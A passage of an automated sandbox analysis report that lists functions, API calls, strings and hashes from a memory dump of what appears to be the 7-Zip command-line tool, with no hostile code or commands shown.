                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3BF012A1256A8685CA54FF3AC4716AF63A2FBC7F81F002565EB4F63711CE28C446C70C
                                                                                                                                                                                                                                                              Function 006FB310 Relevance: 10.0, APIs: 8, Instructions: 34COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$fputsmemset
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 469995913-0
                                                                                                                                                                                                                                                              • Opcode ID: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
                                                                                                                                                                                                                                                              • Instruction ID: 9629cb145a0b24627a2dcc94d2dbafb7a05e13a5238fb8a2c07a1ea739fb8b76
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 25F0B26225154581C790FF39D8715AD2362E7C3F68B045365EF6D573A9CE20C483C34C
                                                                                                                                                                                                                                                              Function 006D6484 Relevance: 9.2, APIs: 6, Instructions: 177COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmovewcscmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3584677832-0
                                                                                                                                                                                                                                                              • Opcode ID: 8f07c27319cfa5f95388e6e979af598d2aca2aeda731ef0214d5af31e1e2fbd3
                                                                                                                                                                                                                                                              • Instruction ID: b4eba331a3ac6c705e8a1c3cc544a2413b818f413606febba0f36d13060c0e96
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8f07c27319cfa5f95388e6e979af598d2aca2aeda731ef0214d5af31e1e2fbd3
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1851C273A00A8586CF20EF1AE4901AD7763F394B98B54812BEB5E0B728DF35D9C6C701
                                                                                                                                                                                                                                                              Function 006B1364 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 172COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID: Incorrect switch postfix:$Multiple instances for switch:$Too long switch:$Too short switch:$Unknown switch:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-2104980125
                                                                                                                                                                                                                                                              • Opcode ID: e608d69ddf76c65373c44b70f7ae3aeb3f136de1000bdcda8d63e8efa4483270
                                                                                                                                                                                                                                                              • Instruction ID: 925b613fcbe8b3c7ff0640353b0e627622ea941bf5d2521ca9e66fee9000c7ba
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e608d69ddf76c65373c44b70f7ae3aeb3f136de1000bdcda8d63e8efa4483270
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E751DDE3214691A6CA70EF24D4602EE37A3F383394FC48625D79A4B716EB35C9C6C704
                                                                                                                                                                                                                                                              Function 006C0358 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 143COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006C04EE
                                                                                                                                                                                                                                                                • Part of subcall function 006BFEC8: _CxxThrowException.MSVCRT ref: 006BFF2F
                                                                                                                                                                                                                                                                • Part of subcall function 006BFEC8: free.MSVCRT ref: 006BFFAE
                                                                                                                                                                                                                                                                • Part of subcall function 006BFEC8: _CxxThrowException.MSVCRT ref: 006BFFD1
                                                                                                                                                                                                                                                                • Part of subcall function 006BFEC8: _CxxThrowException.MSVCRT ref: 006BFFF7
                                                                                                                                                                                                                                                                • Part of subcall function 006BFEC8: _CxxThrowException.MSVCRT ref: 006C002B
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006C0523
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006C0564
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrow$free
                                                                                                                                                                                                                                                              • String ID: Incorrect wildcard type marker$Too short switch
                                                                                                                                                                                                                                                              • API String ID: 3129652135-1817034180
                                                                                                                                                                                                                                                              • Opcode ID: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
                                                                                                                                                                                                                                                              • Instruction ID: 673de80a1a294c5c77c7242befaae3ca8fac894e6f2660093f23195ba72bd6e4
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F251E7636086D4C6EB20DF15E450BEEBB72F385794F94811AEF8907B55DB38C586CB00
                                                                                                                                                                                                                                                              Function 006EE2F0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 133COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID: #
                                                                                                                                                                                                                                                              • API String ID: 1534225298-1885708031
                                                                                                                                                                                                                                                              • Opcode ID: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
                                                                                                                                                                                                                                                              • Instruction ID: 9045a51d1dfe5329e5015aa0846a87e404c80c56e877d3d787b076b5f0dd2494
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4A517166315BC482CB60CB2AE4907AE77A2F7C9B90F544215EB9E437A5DF3DC849C704
                                                                                                                                                                                                                                                              Function 006F2688 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 126stringCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memsetstrlen$fputs
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2256168112-2735817509
                                                                                                                                                                                                                                                              • Opcode ID: ad0d7bef1b919bc72df3f5cae30fb1075d7da1c7e795fc3f1bc43048049e5982
                                                                                                                                                                                                                                                              • Instruction ID: 6b39d003ee449c90977e2de08cd730174e0cc58d04fbf61c75f637a81595fab4
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ad0d7bef1b919bc72df3f5cae30fb1075d7da1c7e795fc3f1bc43048049e5982
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A441F4623086C596CB34EB25E4613FE6B63F784BC4F485526DF8A07719CE78C599CB04
                                                                                                                                                                                                                                                              Function 006B9828 Relevance: 9.1, APIs: 6, Instructions: 123COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorLastfree
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2167247754-0
                                                                                                                                                                                                                                                              • Opcode ID: 20cadcee4a29e65714f589434cd172a3e6a1a379c9859cc67ae3c45b41779d1f
                                                                                                                                                                                                                                                              • Instruction ID: 0b7e9b07868cb3534a1b50c546c7e27e2ee999ec98259497da0ad3252dc67a5d
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 20cadcee4a29e65714f589434cd172a3e6a1a379c9859cc67ae3c45b41779d1f
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C941A8A125854056CA60FB18E4913EEB366F7D2760F54022AEB9D43795DF34C9C6C718
                                                                                                                                                                                                                                                              Function 006B6A04 Relevance: 9.1, APIs: 6, Instructions: 74fileCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$FileMove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 288606353-0
                                                                                                                                                                                                                                                              • Opcode ID: c934d79802b123a65afdecf3c3c141401825e728ddd7393a0425fdd743619d48
                                                                                                                                                                                                                                                              • Instruction ID: 22c2c459f40b1462ea2512879112e8f529e55337de81317ab84d062b3a864513
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c934d79802b123a65afdecf3c3c141401825e728ddd7393a0425fdd743619d48
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6911D5A324555145CEA0EF25E8602FB67629BC2BD0F046225FFAE57365DE2DCCC6C704
                                                                                                                                                                                                                                                              Function 006B7B70 Relevance: 9.1, APIs: 6, Instructions: 74COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B794C: FindClose.KERNELBASE ref: 006B795E
                                                                                                                                                                                                                                                              • SetLastError.KERNEL32 ref: 006B7BAA
                                                                                                                                                                                                                                                              • SetLastError.KERNEL32 ref: 006B7BB9
                                                                                                                                                                                                                                                              • FindFirstStreamW.KERNELBASE ref: 006B7BDB
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32 ref: 006B7BEA
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorLast$Find$CloseFirstStream
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 4071060300-0
                                                                                                                                                                                                                                                              • Opcode ID: a6e64fabe6673e363aad17d05dfc3ab5172c88e9485b2e4bf2568c0b8856aec2
                                                                                                                                                                                                                                                              • Instruction ID: f231c6bbdb0b1c025efbd25aa3f0bdf7d104d01b993b4d0a4f36bfed86fc19cf
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a6e64fabe6673e363aad17d05dfc3ab5172c88e9485b2e4bf2568c0b8856aec2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: CB21B2B2608B4086DA609F64E8543E92362FBCA774F545324DEBA437E5DF3DC689C700
                                                                                                                                                                                                                                                              Function 006F7D84 Relevance: 9.0, APIs: 5, Strings: 1, Instructions: 42COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F7DA9
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F7DB2
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F7DE5
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F7DF2
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F7DFB
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D94DB
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D94E3
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D94F0
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D951C
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D9525
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D952D
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D953A
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID: l}o
                                                                                                                                                                                                                                                              • API String ID: 1294909896-4178612260
                                                                                                                                                                                                                                                              • Opcode ID: 782f6fd7dc41bf8ca513220e7cc76460a379d2f1bbd67af93ff481f02cf2e1fb
                                                                                                                                                                                                                                                              • Instruction ID: 5bbcf6b3082b042cc369660913869a23dd626c1dbdaccc5123d01b8325430701
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 782f6fd7dc41bf8ca513220e7cc76460a379d2f1bbd67af93ff481f02cf2e1fb
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9401A263B06944C9CA56AF29DC613BC2366EB45FA8F580225EF0D4B315EE20CC83C384
                                                                                                                                                                                                                                                              Function 006FCCF8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? , xrefs: 006FCD2A
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputsfree
                                                                                                                                                                                                                                                              • String ID: (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit?
                                                                                                                                                                                                                                                              • API String ID: 2581285248-171671738
                                                                                                                                                                                                                                                              • Opcode ID: 4b5025059e70d1de0ed5aeed492243599037d1a5b9a8e456c84aaac635c9e110
                                                                                                                                                                                                                                                              • Instruction ID: 8f0c3332e105c42374762361bf5d54b1e90b7d64368f23e27797d426df28f22b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4b5025059e70d1de0ed5aeed492243599037d1a5b9a8e456c84aaac635c9e110
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1F31A46260854D86DB349B18D6A53F92763E7847B4F480126EB8E073AACB1CDCE6D705
                                                                                                                                                                                                                                                              Function 006B11B8 Relevance: 8.8, APIs: 7, Instructions: 84COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
                                                                                                                                                                                                                                                              • Instruction ID: 04b9d2312f667060d86eadfb40e8cef956381d4b3588cc8e998e2d4606e152a3
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AD21B8A231594061CAA0EF24E4611DE6762EBC27D0F841225FB5E477A9DF38C6C6C704
                                                                                                                                                                                                                                                              Function 006F64C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$fputc
                                                                                                                                                                                                                                                              • String ID: Time =
                                                                                                                                                                                                                                                              • API String ID: 1185151155-458291097
                                                                                                                                                                                                                                                              • Opcode ID: 125f46871291328263d9a45044a61c5585df70acc1ace0c9469d427cba69f483
                                                                                                                                                                                                                                                              • Instruction ID: f267b216f8ff232e6b4f221327f4a045845a520eea8484ce3c63a22fa1ff5cde
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 125f46871291328263d9a45044a61c5585df70acc1ace0c9469d427cba69f483
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F421A5A6740A1585EA08AF5AFC503A65353A788FC4F08E035EE1E4B7A8DD3DC856C340
                                                                                                                                                                                                                                                              Function 006EF69C Relevance: 8.8, APIs: 7, Instructions: 66COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CriticalSectionfreememmove$EnterExceptionLeaveThrow
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 202075352-0
                                                                                                                                                                                                                                                              • Opcode ID: c1de02b68f69ecc8d262e9e614d11b3dc807500ecf55debccae22723f41cb44a
                                                                                                                                                                                                                                                              • Instruction ID: 9864af71dd8d94a70a2ec83f5b8774cf37e0e37f5c0b84a790bd0bb998dac54c
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c1de02b68f69ecc8d262e9e614d11b3dc807500ecf55debccae22723f41cb44a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9521A177221B9487CB60EF2AE4456AC7322F741BE5F905326DF29076A8DF35D886CB04
